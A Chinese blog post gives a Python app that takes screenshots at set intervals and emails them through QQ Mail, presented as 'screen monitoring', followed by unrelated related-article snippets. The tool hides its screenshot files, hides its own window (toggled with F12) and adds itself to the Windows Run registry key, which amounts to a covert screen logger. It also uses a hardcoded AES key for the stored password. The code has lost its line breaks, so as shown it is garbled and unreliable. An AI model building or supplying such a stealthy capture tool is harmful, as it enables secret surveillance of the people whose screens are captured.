一步到位:用Python实现PC屏幕截图并自动发送邮件,实现屏幕监控
在当前的数字化世界中,自动化已经成为我们日常生活和工作中的关键部分。它不仅提高了效率,还节省了大量的时间和精力。在这篇文章中,我们将探讨如何使用Python来实现一个特定的自动化任务 - PC屏幕截图自动发送到指定的邮箱。
这个任务可能看起来很复杂,但是通过Python,我们可以将其分解为几个简单的步骤并逐一实现。首先,我们需要一个能够捕获屏幕截图的工具。其次,我们需要一个能够发送电子邮件的服务。最后,我们需要将这两个步骤组合在一起,创建一个可以自动执行这些任务的脚本。
在本文中,我们将详细介绍这个过程,并提供相应的Python代码示例。无论你是Python初学者,还是寻求新的自动化项目的经验开发人员,都可以从中受益。让我们开始吧。
主要功能
1.通过使用pyautogui库来进行屏幕截图。
2.使用smtplib库来发送电子邮件,以将截图发送给收件人。
3.使用tkinter库创建一个简单的图形用户界面(GUI),用于配置应用程序的设置。
4.通过使用logging库来记录日志,将日志保存到文件中。
5.使用configparser库来读取和保存应用程序的配置设置。
6.实现了开机自动启动功能,可以将应用程序设置为开机自动启动。
7.实现了隐藏和显示应用程序窗口的功能。
8.收件邮箱默认等于发件邮箱。
此外,代码还实现了一些其他功能,如数据加密和解密、删除已发送的截图文件等。
应用程序在为用户提供一个便捷的方式来定时截图并将截图发送给指定的收件人,适用于需要定期截图的监控、远程监视等场景。用户可以通过图形界面设置截图的间隔时间、截图的次数、发件人和收件人的电子邮件地址等。
具体代码
# coding=utf-8
'''@Author : TesterRoad@Time : 2023/7/9 15:43@Desc : 用python实现PC屏幕截图自动发送邮箱@Software: PyCharm
'''
import smtplib
import time
import pyautogui
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import logging
import configparser
import os
import sys
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64import tkinter as tk
from tkinter import ttk
import datetime
import threading
import winreg
import globKEY = b'MySuperSecretKey'def encrypt_data(data):cipher = AES.new(KEY, AES.MODE_CBC)ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))iv = base64.b64encode(cipher.iv).decode('utf-8')ct = base64.b64encode(ct_bytes).decode('utf-8')return iv + ctdef decrypt_data(data):try:iv = base64.b64decode(data[:24])ct = base64.b64decode(data[24:])cipher = AES.new(KEY, AES.MODE_CBC, iv=iv)pt = unpad(cipher.decrypt(ct), AES.block_size)return pt.decode('utf-8')except:return "Decryption Error!"class ScreenshotApp:def __init__(self):self.root = tk.Tk()self.root.title("Screen")self.config = configparser.ConfigParser()self.config_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")if not os.path.exists(self.config_file):self.create_default_config()self.config.read(self.config_file) # 读取配置文件self.sender_email_label = ttk.Label(self.root, text="发件邮箱:")self.sender_email_label.grid(row=0, column=0, padx=5, pady=5)self.sender_email_entry = ttk.Entry(self.root)self.sender_email_entry.grid(row=0, column=1, padx=5, pady=5)self.sender_password_label = ttk.Label(self.root, text="发件邮箱密码:")self.sender_password_label.grid(row=1, column=0, padx=5, pady=5)self.sender_password_entry = ttk.Entry(self.root, show="*")self.sender_password_entry.grid(row=1, column=1, padx=5, pady=5)self.interval_label = ttk.Label(self.root, text="截图间隔时间:")self.interval_label.grid(row=2, column=0, padx=5, pady=5)self.interval_entry = ttk.Entry(self.root)self.interval_entry.grid(row=2, column=1, padx=5, pady=5)self.count_label = ttk.Label(self.root, text="发送截图数量:")self.count_label.grid(row=3, column=0, padx=5, pady=5)self.count_entry = ttk.Entry(self.root)self.count_entry.grid(row=3, column=1, padx=5, pady=5)self.start_button = ttk.Button(self.root, text="开始截图", command=self.start_screenshot)self.start_button.grid(row=4, column=0, padx=5, pady=5)self.stop_button = ttk.Button(self.root, text="停止截图", command=self.stop_screenshot)self.stop_button.grid(row=4, column=1, padx=5, pady=5)self.stop_button.configure(state="disabled")self.save_button = ttk.Button(self.root, text="save", command=self.save_settings)self.save_button.grid(row=5, column=0, padx=5, pady=5)self.autostart_var = tk.BooleanVar()self.autostart_checkbutton = ttk.Checkbutton(self.root, text="开机自动启动", variable=self.autostart_var,command=self.save_settings)self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5)self.toggle_visibility_button = ttk.Button(self.root, text="显示/隐藏", command=self.toggle_visibility)self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5)# 创建日志记录器self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "screenshot.log")self.logger = logging.getLogger("ScreenshotApp")self.logger.setLevel(logging.INFO)self.logger.addHandler(logging.FileHandler(self.log_file_path))self.screenshot_running = Falseself.screenshot_thread = Noneself.stop_event = threading.Event()# 初始化输入框的值self.sender_email_entry.insert(0, self.config.get("Settings", "sender_email", fallback=""))self.sender_password_entry.insert(0, self.get_decrypted_password())self.interval_entry.insert(0, self.config.get("Settings", "interval", fallback=""))self.count_entry.insert(0, self.config.get("Settings", "count", fallback=""))# 初始化开机自动启动选项self.autostart_var.set(self.is_autostart_enabled())self.root.protocol("WM_DELETE_WINDOW", self.on_close)self.root.bind("<F12>", self.toggle_visibility)# 初始化窗口可见性visibility = self.config.get("Settings", "visibility", fallback="visible")if visibility == "hidden":self.root.withdraw()if self.autostart_var.get():self.start_screenshot()self.root.mainloop()def on_close(self):self.stop_screenshot()self.save_settings()self.delete_screenshots()self.root.quit()def create_default_config(self):if not os.path.exists(self.config_file):self.config["Settings"] = {"sender_email": "","sender_password": "","interval": "","count": "","autostart": "False","visibility": "visible"}config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")with open(config_file_path, "w") as configfile:self.config.write(configfile)def start_screenshot(self):interval_text = self.interval_entry.get()count_text = self.count_entry.get()if not interval_text or not count_text:self.logger.error("请提供Screen间隔时间和Screen次数")returntry:interval = int(interval_text)count = int(count_text)except ValueError:self.logger.error("Screen间隔时间和Screen次数必须是有效的整数")returnif not self.screenshot_running:sender_email = self.sender_email_entry.get()sender_password = self.sender_password_entry.get()interval = int(self.interval_entry.get())count = int(self.count_entry.get())receiver_email = sender_email # 收件邮箱地址默认等于发件邮箱地址self.logger.info("开始Screen")self.start_button.configure(state="disabled")self.stop_button.configure(state="normal")self.screenshot_running = Trueself.stop_event.clear()self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=(receiver_email, sender_email, sender_password, interval, count))self.screenshot_thread.start()def stop_screenshot(self):if self.screenshot_running:self.screenshot_running = Falseself.stop_event.set()self.screenshot_thread.join()self.logger.info("停止Screen")self.start_button.configure(state="normal")self.stop_button.configure(state="disabled")def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count):screenshot_count = 0screenshots = []# 获取用户主目录,并创建'Screenshots'文件夹user_dir = os.path.expanduser('~')screenshot_dir = os.path.join(user_dir, 'Screenshots')os.makedirs(screenshot_dir, exist_ok=True)# 在开始Screen前清空'Screenshots'文件夹self.delete_screenshots()while screenshot_count < count and not self.stop_event.is_set():try:# Screenscreenshot = pyautogui.screenshot()# 生成文件名,格式为“Screen时间.png”current_time = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")filename = f"Screen_{current_time}.png"# 保存Screen到'Screenshots'文件夹中screenshot_path = os.path.join(screenshot_dir, filename)screenshot.save(screenshot_path)screenshots.append(screenshot_path)screenshot_count += 1# 设置文件为隐藏FILE_ATTRIBUTE_HIDDEN = 0x02ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN)self.logger.info(f"Screen成功: {screenshot_path}")if screenshot_count == count: # 达到指定Screen次数后发送Screenscreenshot_count = 0self.send_email(receiver_email, sender_email, sender_password, screenshots)self.logger.info(f"Screen发送成功,共发送了 {len(screenshots)} 张Screen")self.delete_screenshots(screenshots)screenshots = [] # 清空已发送的Screen列表except Exception as e:self.logger.error(f"Screen失败: {str(e)}")time.sleep(interval)def send_email(self, receiver_email, sender_email, sender_password, filenames):msg = MIMEMultipart()msg["From"] = sender_emailmsg["To"] = receiver_emailmsg["Subject"] = "Screen"# 添加邮件正文msg.attach(MIMEText("请查看附件中的Screen。", "plain"))# 添加Screen作为附件for filename in filenames:with open(filename, "rb") as f:image = MIMEImage(f.read())image.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename))msg.attach(image)try:# 发送邮件with smtplib.SMTP_SSL("smtp.qq.com", 465) as smtp:smtp.login(sender_email, sender_password)smtp.send_message(msg)self.logger.info(f"邮件发送成功,收件人: {receiver_email}")except Exception as e:self.logger.error(f"邮件发送失败: {str(e)}")def save_settings(self):self.config.set("Settings", "sender_email", self.sender_email_entry.get())self.config.set("Settings", "interval", self.interval_entry.get())self.config.set("Settings", "count", self.count_entry.get())self.config.set("Settings", "autostart", str(self.autostart_var.get()))visibility = "visible" if self.root.state() == "normal" else "hidden"self.config.set("Settings", "visibility", visibility)if self.sender_password_entry.get() != self.get_decrypted_password():encrypted_password = encrypt_data(self.sender_password_entry.get())self.config.set("Settings", "sender_password", encrypted_password)config_file_path = os.path.abspath(self.config_file)with open(config_file_path, "w") as configfile:self.config.write(configfile)self.logger.handlers.clear()self.logger.addHandler(logging.FileHandler(self.log_file_path))self.set_autostart(self.autostart_var.get())def delete_screenshots(self, filenames=None):# 获取'Screenshots'文件夹路径user_dir = os.path.expanduser('~')screenshot_dir = os.path.join(user_dir, 'Screenshots')if filenames is None:filenames = glob.glob(os.path.join(screenshot_dir, "Screen*.png"))for filename in filenames:try:os.remove(filename)self.logger.info(f"删除Screen: {filename}")except Exception as e:self.logger.error(f"删除Screen失败: {str(e)}")def get_decrypted_password(self):encrypted_password = self.config.get("Settings", "sender_password", fallback="")if encrypted_password:return decrypt_data(encrypted_password)else:return ""def toggle_visibility(self, event=None):if self.root.state() == "withdrawn":self.root.deiconify()else:self.root.withdraw()self.save_settings()def set_autostart(self, enabled):key = winreg.HKEY_CURRENT_USERrun_key = r"Software\Microsoft\Windows\CurrentVersion\Run"app_name = "Screen"app_path = sys.executable # 获取当前脚本的绝对路径try:with winreg.OpenKey(key, run_key, 0, winreg.KEY_SET_VALUE) as reg_key:if enabled:winreg.SetValueEx(reg_key, app_name, 0, winreg.REG_SZ, app_path)self.logger.info("已设置开机自动启动")else:winreg.DeleteValue(reg_key, app_name)self.logger.info("已取消开机自动启动")except FileNotFoundError as e:self.logger.error(f"找不到注册表路径: {str(e)}")except PermissionError as e:self.logger.error(f"没有足够的权限访问注册表: {str(e)}")except Exception as e:self.logger.error(f"设置开机自动启动失败: {str(e)}")def is_autostart_enabled(self):key = winreg.HKEY_CURRENT_USERrun_key = r"Software\Microsoft\Windows\CurrentVersion\Run"app_name = "Screen"app_path = sys.executable # 获取当前脚本的绝对路径try:with winreg.OpenKey(key, run_key, 0, winreg.KEY_READ) as reg_key:try:value, value_type = winreg.QueryValueEx(reg_key, app_name)return value == app_pathexcept FileNotFoundError:return Falseexcept FileNotFoundError as e:self.logger.error(f"找不到注册表路径: {str(e)}")except PermissionError as e:self.logger.error(f"没有足够的权限访问注册表: {str(e)}")except Exception as e:self.logger.error(f"读取开机自动启动设置失败: {str(e)}")return Falseif __name__ == "__main__":app = ScreenshotApp()
打开CMD,输入python ScreenCaptureSendEmail.py
我们输入发件邮箱,发件邮箱密码(QQ邮箱则是授权码),截图间隔时间,发送截图数量,然后点击开始截图,稍后我们会收到一封QQ邮件
如下图所示
看到这里,我突然有个大胆的想法。
在本文中,我们详细讨论了如何使用Python实现PC屏幕截图并自动发送至邮箱的功能。我们探讨了相关库的使用。并通过编写实际的代码,我们一步步演示了如何将这些功能整合在一起。希望这篇文章能够帮助你在自动化处理任务、提高工作效率方面取得进步。如果你在实践过程中遇到任何问题,或者有任何建议,欢迎随时与我交流。记住,编程就是解决问题的艺术,不断学习和实践才能更好地掌握它。
最后感谢每一个认真阅读我文章的人,礼尚往来总是要有的,虽然不是什么很值钱的东西,如果你用得到的话可以直接拿走:
这些资料,对于【软件测试】的朋友来说应该是最全面最完整的备战仓库,这个仓库也陪伴上万个测试工程师们走过最艰难的路程,希望也能帮助到你!
相关文章:

一步到位:用Python实现PC屏幕截图并自动发送邮件,实现屏幕监控
在当前的数字化世界中,自动化已经成为我们日常生活和工作中的关键部分。它不仅提高了效率,还节省了大量的时间和精力。在这篇文章中,我们将探讨如何使用Python来实现一个特定的自动化任务 - PC屏幕截图自动发送到指定的邮箱。 这个任务可能看…...

Spring Boot+RocketMQ 实现多实例分布式环境下的事件驱动
为什么要使用MQ? 在Spring Boot Event这篇文章中已经通过Guava或者SpringBoot自身的Listener实现了事件驱动,已经做到了对业务的解耦。为什么还要用到MQ来进行业务解耦呢? 首先无论是通过Guava还是Spring Boot自身提供的监听注解来实现的事…...
oracle ORA-01704: string literal too long ORACLE数据库clob类型
当oracle数据表中有clob类型字段时候,insert或update的sql语句中,超过长度就会报错 ORA-01704: string literal too long update xxx set xxx <div><h1>123</h1></div> where id 100;可以修改为 DECLAREstr varchar2(10000…...

微星主板强刷BIOS(以微星X370gaming plus 为例)
(前两天手欠,用U盘通过微星的M-flash升级BIOS 升级过程中老没动静就强制关机了 然后电脑就打不开了) 几种强刷主板BIOS的方式 在网上看到有三种强刷BIOS的方式分别是: 使用夹子编程器 (听说不太好夹)使用微星转接线编程器(只能用于微星主板࿰…...
matlab 图像上生成指定中心,指定大小的矩形窗
用matlab实现在图像上生成指定中心,指定大小的矩形窗(奇数*奇数) function PlaneWin PlaneWindow(CentreCoorX,CentreCoorY,RadiusX,RadiusY,SizeImRow,SizeImColumn) % 在图像上生成指定中心,指定大小的矩形窗(奇数*奇数) % % Input: % CentreCoorX(1*1) % CentreCoorY(1*1)…...
❀My学习小记录之算法❀
目录 算法:) 一、定义 二、特征 三、基本要素 常用设计模式 常用实现方法 四、形式化算法 五、复杂度 时间复杂度 空间复杂度 六、非确定性多项式时间(NP) 七、实现 八、示例 求最大值算法 求最大公约数算法 九、分类 算法:) 一、定义 …...

Hive-high Avaliabl
hive—high Avaliable hive的搭建方式有三种,分别是 1、Local/Embedded Metastore Database (Derby) 2、Remote Metastore Database 3、Remote Metastore Server 一般情况下,我们在学习的时候直接使用hive –service metastore的方式…...

码住!8个小众宝藏的开发者学习类网站
1、simplilearn simplilearn是全球排名第一的在线学习网站,它的课程由世界知名大学、顶级企业和领先的行业机构通过实时在线课程设计和提供,其中包括顶级行业从业者、广受欢迎的培训师和全球领导者。 2、VisuAlgo VisuAlgo是一个免费的在线学习算法和数…...

Postman常见问题及解决方法
1、网络连接问题 如果Postman无法发送请求或接收响应,可以尝试以下操作: 检查网络连接是否正常,包括检查网络设置、代理设置等。 确认请求的URL是否正确,并检查是否使用了正确的HTTP方法(例如GET、POST、PUT等&#…...
ubuntu图形化登录默认只有guest session账号解决方法
新安装的ubuntu16.x 图形化界面登录默认只有guest账号,只有进入guest账号之后再去手动切换root账号很麻烦,但是这样确实很安全。为了方便希望能够在登录图形化界面的时候以root身份/或者自定义其他身份登录。做一下简单的记录。 使用终端命令行编辑文件…...
全国计算机等级考试| 二级Python | 真题及解析(1)
一、选择题 1. 按照“后进先出”原则组织数据的数据结构是____ A栈 B双向链表 C二叉树 D队列 正确答案: A 2. 以下选项的叙述中,正确的是 A在循环队列中,只需要队头指针就能反映队列中元素的动态变化情况 B在循环队列中,只需要队尾指针就能反映队列中元素的动态变…...
Java开发框架和中间件面试题(9)
目录 102.你了解秒杀吗?怎么设计? 103.什么是缓存穿透?怎么解决? 102.你了解秒杀吗?怎么设计? 1.设计难点:并发量大,应用,数据库都承受不了。另外难控制超卖。 2.设计…...

【ARMv8M Cortex-M33 系列 2 -- Cortex-M33 JLink 连接 及 JFlash 烧写介绍】
文章目录 Jlink 工具JLink 命令行示例JFlash 烧写问题Jlink 工具 J-Link 是 SEGGER 提供的一款流行的 JTAG 调试器,它支持多个平台和处理器。JLink.exe 是 J-Link 调试器的命令行接口,它允许用户通过命令行执行一系列操作,例如编程、擦除、调试等。 工具链接: https://ww…...
react pwa应用示例
创建一个基于React的PWA应用,你可以使用create-react-app,它自带PWA支持,但默认是关闭的。以下是创建React PWA应用的步骤: 安装create-react-app 如果你还没有安装,你可以通过npm来安装: npm install -…...

python如何通过日志分析加入黑名单
python通过日志分析加入黑名单 监控nginx日志,若有人攻击,则加入黑名单,操作步骤如下: 1.读取日志文件 2.分隔文件,取出ip 3.将取出的ip放入list,然后判读ip的次数 4.若超过设定的次数,则加…...

RabbitMq知识概述
本文来说下RabbitMq相关的知识与概念 文章目录 概述AMQP协议Exchange 消息如何保证100%投递什么是生产端的可靠性投递可靠性投递保障方案 消息幂等性高并发的情况下如何避免消息重复消费confirm 确认消息、Return返回消息如何实现confirm确认消息return消息机制 消费…...
专业级A链接测试特有
A链接普通 A链接添加链接描述带有blank...

Spring Boot 入参校验及全局异常处理
版本依赖 JDK 17 Spring Boot 3.2.0 源码地址:Gitee Spring Boot validation spring-boot-starter-validation是基于hibernate-validator的实现,在Spring Boot项目中直接导入spring-boot-starter-validation即可。 Valid 和 Validated 的区别 适用范围…...
MySQL 和 MySQL2 的区别
MySQL是最流行的开源关系型数据库管理系统,拥有大量的使用者和广泛的应用场景。而MySQL2是MySQL官方团队推出的新一代MySQL驱动,用于取代老版的MySQL模块,提供更好的性能和更丰富的功能。 本文将介绍MySQL2相较于MySQL有哪些优势以及具体的技术区别。 …...

AutoCAD图纸打印后内容不见
用户反映,在CAD里的对象打印出来不显示。其实,这是在CAD的打印对象颜色的问题。(在9.2以下版本有这种问题,9.2及以上版本已默认此种颜色) 1.当背景色为黑色的时候,这里的颜色是白,如下图 2.当C…...
Linux简单的操作
ls ls 查看当前目录 ll 查看详细内容 ls -a 查看所有的内容 ls --help 查看方法文档 pwd pwd 查看当前路径 cd cd 转路径 cd .. 转上一级路径 cd 名 转换路径 …...

CentOS下的分布式内存计算Spark环境部署
一、Spark 核心架构与应用场景 1.1 分布式计算引擎的核心优势 Spark 是基于内存的分布式计算框架,相比 MapReduce 具有以下核心优势: 内存计算:数据可常驻内存,迭代计算性能提升 10-100 倍(文档段落:3-79…...

selenium学习实战【Python爬虫】
selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...
Swagger和OpenApi的前世今生
Swagger与OpenAPI的关系演进是API标准化进程中的重要篇章,二者共同塑造了现代RESTful API的开发范式。 本期就扒一扒其技术演进的关键节点与核心逻辑: 🔄 一、起源与初创期:Swagger的诞生(2010-2014) 核心…...
MySQL账号权限管理指南:安全创建账户与精细授权技巧
在MySQL数据库管理中,合理创建用户账号并分配精确权限是保障数据安全的核心环节。直接使用root账号进行所有操作不仅危险且难以审计操作行为。今天我们来全面解析MySQL账号创建与权限分配的专业方法。 一、为何需要创建独立账号? 最小权限原则…...

基于 TAPD 进行项目管理
起因 自己写了个小工具,仓库用的Github。之前在用markdown进行需求管理,现在随着功能的增加,感觉有点难以管理了,所以用TAPD这个工具进行需求、Bug管理。 操作流程 注册 TAPD,需要提供一个企业名新建一个项目&#…...

Python基于历史模拟方法实现投资组合风险管理的VaR与ES模型项目实战
说明:这是一个机器学习实战项目(附带数据代码文档),如需数据代码文档可以直接到文章最后关注获取。 1.项目背景 在金融市场日益复杂和波动加剧的背景下,风险管理成为金融机构和个人投资者关注的核心议题之一。VaR&…...

Golang——9、反射和文件操作
反射和文件操作 1、反射1.1、reflect.TypeOf()获取任意值的类型对象1.2、reflect.ValueOf()1.3、结构体反射 2、文件操作2.1、os.Open()打开文件2.2、方式一:使用Read()读取文件2.3、方式二:bufio读取文件2.4、方式三:os.ReadFile读取2.5、写…...

MySQL:分区的基本使用
目录 一、什么是分区二、有什么作用三、分类四、创建分区五、删除分区 一、什么是分区 MySQL 分区(Partitioning)是一种将单张表的数据逻辑上拆分成多个物理部分的技术。这些物理部分(分区)可以独立存储、管理和优化,…...
从面试角度回答Android中ContentProvider启动原理
Android中ContentProvider原理的面试角度解析,分为已启动和未启动两种场景: 一、ContentProvider已启动的情况 1. 核心流程 触发条件:当其他组件(如Activity、Service)通过ContentR…...